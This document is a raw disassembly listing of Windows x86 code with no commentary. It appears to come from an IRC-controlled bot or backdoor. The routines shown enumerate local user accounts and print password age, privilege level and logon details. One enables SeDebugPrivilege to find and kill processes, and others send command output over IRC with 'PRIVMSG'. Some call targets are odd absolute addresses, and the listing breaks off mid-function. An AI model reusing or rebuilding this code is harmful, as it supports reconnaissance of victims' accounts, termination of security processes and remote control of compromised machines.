push [ebp+arg_4]
mov esi, eax
call sub_419134
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4C935C
test eax, eax
mov [ebp+arg_0], eax
jnz loc_41978C
mov eax, [ebp+var_4]
test eax, eax
jz loc_4197C7
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41C006
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_419518
dec eax
jz short loc_419511
dec eax
jz short loc_41950A
mov eax, offset aUnknown ; "Unknown"
jmp short loc_41951D
; ---------------------------------------------------------------------------
loc_41950A: ; CODE XREF: sub_4193FF+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_41951D
; ---------------------------------------------------------------------------
loc_419511: ; CODE XREF: sub_4193FF+FFj
mov eax, offset aUser_0 ; "User"
jmp short loc_41951D
; ---------------------------------------------------------------------------
loc_419518: ; CODE XREF: sub_4193FF+FCj
mov eax, offset aGuest ; "Guest"
loc_41951D: ; CODE XREF: sub_4193FF+109j
; sub_4193FF+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409862
add esp, 20h
pop edi
pop ebx
jmp short loc_4197B8
; ---------------------------------------------------------------------------
loc_41978C: ; CODE XREF: sub_4193FF+35j
push eax
lea eax, [ebp+var_204]
push offset unk_439510
push eax
call sub_41C006
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_409862
add esp, 20h
loc_4197B8: ; CODE XREF: sub_4193FF+38Bj
cmp [ebp+var_4], 0
jz short loc_4197C7
push [ebp+var_4]
call dword_4C9394
loc_4197C7: ; CODE XREF: sub_4193FF+40j
; sub_4193FF+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_4193FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4197CD proc near ; CODE XREF: sub_401AC7+4673p
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_419134
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 18h
loc_41980C: ; CODE XREF: sub_4197CD+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4C9264
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_41986D
cmp eax, 0EAh
jz short loc_41986D
push eax
push eax
call sub_41994D
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_439700
push eax
call sub_41C006
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 24h
jmp short loc_4198E8
; ---------------------------------------------------------------------------
loc_41986D: ; CODE XREF: sub_4197CD+62j
; sub_4197CD+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_4198FB
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_4198E8
loc_41987F: ; CODE XREF: sub_4197CD+EDj
cmp edi, esi
jz short loc_4198BE
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_4 ; " %S"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_41987F
jmp short loc_4198E8
; ---------------------------------------------------------------------------
loc_4198BE: ; CODE XREF: sub_4197CD+B4j
lea eax, [ebp+var_218]
push offset unk_4396CC
push eax
call sub_41C006
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 1Ch
loc_4198E8: ; CODE XREF: sub_4197CD+9Ej
; sub_4197CD+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_4198FB
push edi
call dword_4C9394
xor edi, edi
mov [ebp+var_4], edi
loc_4198FB: ; CODE XREF: sub_4197CD+A5j
; sub_4197CD+120j
cmp [ebp+var_C], 0EAh
jz loc_41980C
cmp edi, esi
jz short loc_419913
push edi
call dword_4C9394
loc_419913: ; CODE XREF: sub_4197CD+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41C006
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4197CD endp
; =============== S U B R O U T I N E =======================================
sub_41994D proc near ; CODE XREF: sub_418FA3+41p
; sub_419198+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_4199FF
jz loc_4199F8
cmp eax, 7Bh
ja short loc_4199C4
jz short loc_4199BA
cmp eax, 5
jz short loc_4199B0
cmp eax, 8
jz short loc_4199A6
cmp eax, 32h
jz short loc_41999C
cmp eax, 35h
jz short loc_419992
cmp eax, 57h
jnz loc_419A4E
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419A6F
; ---------------------------------------------------------------------------
loc_419992: ; CODE XREF: sub_41994D+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419A6F
; ---------------------------------------------------------------------------
loc_41999C: ; CODE XREF: sub_41994D+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419A6F
; ---------------------------------------------------------------------------
loc_4199A6: ; CODE XREF: sub_41994D+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419A6F
; ---------------------------------------------------------------------------
loc_4199B0: ; CODE XREF: sub_41994D+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419A6F
; ---------------------------------------------------------------------------
loc_4199BA: ; CODE XREF: sub_41994D+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419A6F
; ---------------------------------------------------------------------------
loc_4199C4: ; CODE XREF: sub_41994D+1Aj
sub eax, 7Ch
jz short loc_4199F1
sub eax, 7C8h
jz short loc_4199EA
dec eax
jz short loc_4199E0
dec eax
jnz short loc_419A4E
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419A6F
; ---------------------------------------------------------------------------
loc_4199E0: ; CODE XREF: sub_41994D+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419A6F
; ---------------------------------------------------------------------------
loc_4199EA: ; CODE XREF: sub_41994D+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419A6F
; ---------------------------------------------------------------------------
loc_4199F1: ; CODE XREF: sub_41994D+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419A6F
; ---------------------------------------------------------------------------
loc_4199F8: ; CODE XREF: sub_41994D+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419A6F
; ---------------------------------------------------------------------------
loc_4199FF: ; CODE XREF: sub_41994D+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_419A38
jz short loc_419A31
sub eax, 8ADh
jz short loc_419A63
dec eax
dec eax
jz short loc_419A2A
dec eax
jz short loc_419A23
dec eax
dec eax
jnz short loc_419A4E
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419A6F
; ---------------------------------------------------------------------------
loc_419A23: ; CODE XREF: sub_41994D+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419A6F
; ---------------------------------------------------------------------------
loc_419A2A: ; CODE XREF: sub_41994D+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419A6F
; ---------------------------------------------------------------------------
loc_419A31: ; CODE XREF: sub_41994D+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419A6F
; ---------------------------------------------------------------------------
loc_419A38: ; CODE XREF: sub_41994D+B9j
sub eax, 8CAh
jz short loc_419A6A
sub eax, 17h
jz short loc_419A63
sub eax, 25h
jz short loc_419A5C
sub eax, 29h
jz short loc_419A55
loc_419A4E: ; CODE XREF: sub_41994D+35j
; sub_41994D+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419A6F
; ---------------------------------------------------------------------------
loc_419A55: ; CODE XREF: sub_41994D+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419A6F
; ---------------------------------------------------------------------------
loc_419A5C: ; CODE XREF: sub_41994D+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419A6F
; ---------------------------------------------------------------------------
loc_419A63: ; CODE XREF: sub_41994D+C2j
; sub_41994D+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419A6F
; ---------------------------------------------------------------------------
loc_419A6A: ; CODE XREF: sub_41994D+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419A6F: ; CODE XREF: sub_41994D+40j
; sub_41994D+4Aj ...
push offset dword_4D8F20
call sub_41C006
pop ecx
mov eax, offset dword_4D8F20
pop ecx
retn
sub_41994D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A81 proc near ; CODE XREF: sub_401AC7+46B8p
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_41DFD4
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
nop
call near ptr 26D0000h
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_41DFD4
lea eax, [ebp+var_718]
push eax
call sub_41DFB7
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4C9314
test eax, eax
jnz short loc_419B11
mov esi, offset dword_4D8D1C
push offset unk_439A34
push esi
call sub_41C006
pop ecx
pop ecx
jmp short loc_419B3A
; ---------------------------------------------------------------------------
loc_419B11: ; CODE XREF: sub_419A81+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_41994D
pop ecx
mov esi, offset dword_4D8D1C
push eax
push offset dword_439A08
push esi
call sub_41C006
add esp, 14h
loc_419B3A: ; CODE XREF: sub_419A81+8Ej
mov eax, esi
pop esi
leave
retn
sub_419A81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B3F proc near ; CODE XREF: sub_417269+45p
; sub_417269+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call near ptr 2740594h
nop
push eax
call dword_4C92E8
test eax, eax
jnz short loc_419B5E
leave
retn
; ---------------------------------------------------------------------------
loc_419B5E: ; CODE XREF: sub_419B3F+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4C92C0
test eax, eax
jz short loc_419B9C
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419B85
or [ebp+var_8], 2
jmp short loc_419B89
; ---------------------------------------------------------------------------
loc_419B85: ; CODE XREF: sub_419B3F+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_419B89: ; CODE XREF: sub_419B3F+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4C9370
mov esi, eax
loc_419B9C: ; CODE XREF: sub_419B3F+32j
push [ebp+var_4]
nop
call near ptr 2660000h
mov eax, esi
pop esi
leave
retn
sub_419B3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419BAA proc near ; CODE XREF: sub_401AC7+7781p
; sub_419DD9+74p
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4C9324, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_419DA9
cmp dword_4C9308, ebx
jz loc_419DA9
cmp dword_4C9218, ebx
jz loc_419DA9
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B3F
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4C9324
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_419D9C
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4C9308
mov esi, dword_427078
test eax, eax
jz loc_419D97
lea eax, [ebp+var_130]
push eax
push edi
call dword_4C9218
test eax, eax
jz loc_419D97
mov edi, dword_427094
mov ebx, 1F0FFFh
loc_419C6E: ; CODE XREF: sub_419BAA+1E5j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_419CD5
mov [ebp+var_4], offset off_439A60
loc_419C7C: ; CODE XREF: sub_419BAA+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
call near ptr 2840000h
nop
test eax, eax
jz short loc_419CA4
add [ebp+var_4], 4
cmp [ebp+var_4], offset dword_439AC0
jl short loc_419C7C
jmp loc_419D7D
; ---------------------------------------------------------------------------
loc_419CA4: ; CODE XREF: sub_419BAA+E6j
push [ebp+var_128]
push 0
push ebx
call edi
test eax, eax
mov [ebp+var_4], eax
jz loc_419D7D
push 0
push eax
nop
call near ptr 2730D36h
test eax, eax
jnz loc_419D7D
loc_419CCB: ; CODE XREF: sub_419BAA+1B9j
push [ebp+var_4]
call esi
jmp loc_419D7D
; ---------------------------------------------------------------------------
loc_419CD5: ; CODE XREF: sub_419BAA+C9j
cmp [ebp+arg_C], eax
jnz loc_419D68
cmp [ebp+arg_4], eax
jz loc_419D7D
push [ebp+var_128]
push 8
call dword_4C9324
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_419D28
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4C91C4
push [ebp+var_128]
test eax, eax
jz short loc_419D2E
lea eax, [ebp+var_234]
jmp short loc_419D34
; ---------------------------------------------------------------------------
loc_419D28: ; CODE XREF: sub_419BAA+15Cj
push [ebp+var_128]
loc_419D2E: ; CODE XREF: sub_419BAA+174j
lea eax, [ebp+var_10C]
loc_419D34: ; CODE XREF: sub_419BAA+17Cj
push eax
lea eax, [ebp+var_554]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_41C006
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 14h
jmp loc_419CCB
; ---------------------------------------------------------------------------
loc_419D68: ; CODE XREF: sub_419BAA+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_419DB0
loc_419D7D: ; CODE XREF: sub_419BAA+F5j
; sub_419BAA+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4C9218
test eax, eax
jnz loc_419C6E
xor ebx, ebx
loc_419D97: ; CODE XREF: sub_419BAA+9Dj
; sub_419BAA+B3j
push [ebp+var_8]
call esi
loc_419D9C: ; CODE XREF: sub_419BAA+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B3F
pop ecx
pop ecx
loc_419DA9: ; CODE XREF: sub_419BAA+3Aj
; sub_419BAA+46j ...
xor eax, eax
loc_419DAB: ; CODE XREF: sub_419BAA+22Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_419DB0: ; CODE XREF: sub_419BAA+1D1j
push [ebp+var_128]
push 0
push ebx
call edi
push [ebp+var_8]
mov edi, eax
call esi
push 0
push edi
call near ptr 2730D36h
nop
test eax, eax
jnz short loc_419DD4
push edi
call esi
jmp short loc_419DA9
; ---------------------------------------------------------------------------
loc_419DD4: ; CODE XREF: sub_419BAA+223j
push 1
pop eax
jmp short loc_419DAB
sub_419BAA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419DD9 proc near ; DATA XREF: sub_401AC7+2670o
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_439C60
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41C006
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_419E38
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409862
add esp, 14h
loc_419E38: ; CODE XREF: sub_419DD9+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_419BAA
add esp, 18h
test eax, eax
jnz short loc_419E60
push offset unk_439C3C
jmp short loc_419E65
; ---------------------------------------------------------------------------
loc_419E60: ; CODE XREF: sub_419DD9+7Ej
push offset unk_439C18
loc_419E65: ; CODE XREF: sub_419DD9+85j
lea eax, [ebp+var_298]
push eax
call sub_41C006
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_419E98
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409862
add esp, 14h
loc_419E98: ; CODE XREF: sub_419DD9+9Dj
lea eax, [ebp+var_298]
push eax
call sub_415CEE
push [ebp+var_14]
call sub_40B6C9
pop ecx
pop ecx
push esi
nop
call near ptr 26F0000h
pop edi
pop esi
sub_419DD9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_419EB7 proc near ; CODE XREF: sub_401AC7+7723p
; sub_40B4E8+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call near ptr 2680883h
nop
mov esi, eax
test esi, esi
jz short loc_419EE9
push 0
push esi
call near ptr 2730D36h
nop
test eax, eax
jnz short loc_419EE9
push esi
xor edi, edi
call near ptr 2660000h
nop
loc_419EE9: ; CODE XREF: sub_419EB7+1Aj
; sub_419EB7+27j
mov eax, edi
pop edi
pop esi
retn
sub_419EB7 endp
; ---------------------------------------------------------------------------
word_419EEE dw 3356h ; DATA XREF: ___:004015E8o
dd 56016AF6h, 56565656h, 0FFFCADE8h, 18C483FFh, 9A5C35FFh
dd 0E8900043h, 226660Fh
db 0EBh, 0E3h
; =============== S U B R O U T I N E =======================================
sub_419F0E proc near ; CODE XREF: sub_419F3E+2Ap
; sub_419F76+7Ep ...
mov eax, dword_4D9588
push esi
mov esi, dword_427078
cmp eax, 0FFFFFFFFh
jz short loc_419F22
push eax
call esi
loc_419F22: ; CODE XREF: sub_419F0E+Fj
mov eax, dword_4D9590
cmp eax, 0FFFFFFFFh
jz short loc_419F2F
push eax
call esi
loc_419F2F: ; CODE XREF: sub_419F0E+1Cj
mov eax, dword_4D9584
cmp eax, 0FFFFFFFFh
jz short loc_419F3C
push eax
call esi
loc_419F3C: ; CODE XREF: sub_419F0E+29j
pop esi
retn
sub_419F0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419F3E proc near ; CODE XREF: sub_401AC7+746Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41B960
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4D958C
nop
call near ptr 2720000h
test eax, eax
jnz short loc_419F71
call sub_419F0E
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_419F71: ; CODE XREF: sub_419F3E+28j
push 1
pop eax
leave
retn
sub_419F3E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419F76 proc near ; CODE XREF: sub_419FFD+D3p
; sub_419FFD+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_43B4B8
push [ebp+arg_4]
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_419FB9
push 7D0h
call near ptr 268051Bh
nop
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_41C006
add esp, 10h
jmp short loc_419FD0
; ---------------------------------------------------------------------------
loc_419FB9: ; CODE XREF: sub_419F76+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_1 ; "%s"
push eax
call sub_41C006
add esp, 0Ch
loc_419FD0: ; CODE XREF: sub_419F76+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4C9354
test eax, eax
jg short loc_419FF9
call sub_419F0E
loc_419FF9: ; CODE XREF: sub_419F76+7Cj
xor eax, eax
leave
retn
sub_419F76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419FFD proc near ; DATA XREF: sub_41A152+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4D9594
loc_41A015: ; CODE XREF: sub_419FFD+79j
; sub_419FFD+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41BD10
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_4D9588
nop
call near ptr 2840987h
test eax, eax
jz loc_41A0E3
cmp [ebp+var_4], edi
jnz short loc_41A078
lea eax, [ebp+var_8]
push eax
push dword_4D9584
nop
call near ptr 28404DFh
test eax, eax
jz short loc_41A06E
cmp [ebp+var_8], 103h
jnz loc_41A107
loc_41A06E: ; CODE XREF: sub_419FFD+62j
push 0Ah
call near ptr 268051Bh
nop
jmp short loc_41A015
; ---------------------------------------------------------------------------
loc_41A078: ; CODE XREF: sub_419FFD+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_41A08F
loc_41A07F: ; CODE XREF: sub_419FFD+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_41A0DD
inc eax
cmp eax, [ebp+var_4]
jb short loc_41A07F
loc_41A08F: ; CODE XREF: sub_419FFD+80j
mov [ebp+var_4], esi
loc_41A092: ; CODE XREF: sub_419FFD+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41BD10
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_4D9588
nop
call near ptr 2710000h
test eax, eax
jz short loc_41A12F
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_4D95C8
call sub_419F76
add esp, 0Ch
jmp loc_41A015
; ---------------------------------------------------------------------------
loc_41A0DD: ; CODE XREF: sub_419FFD+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_41A092
; ---------------------------------------------------------------------------
loc_41A0E3: ; CODE XREF: sub_419FFD+45j
push offset unk_439CE8
push ebx
push dword_4D95C8
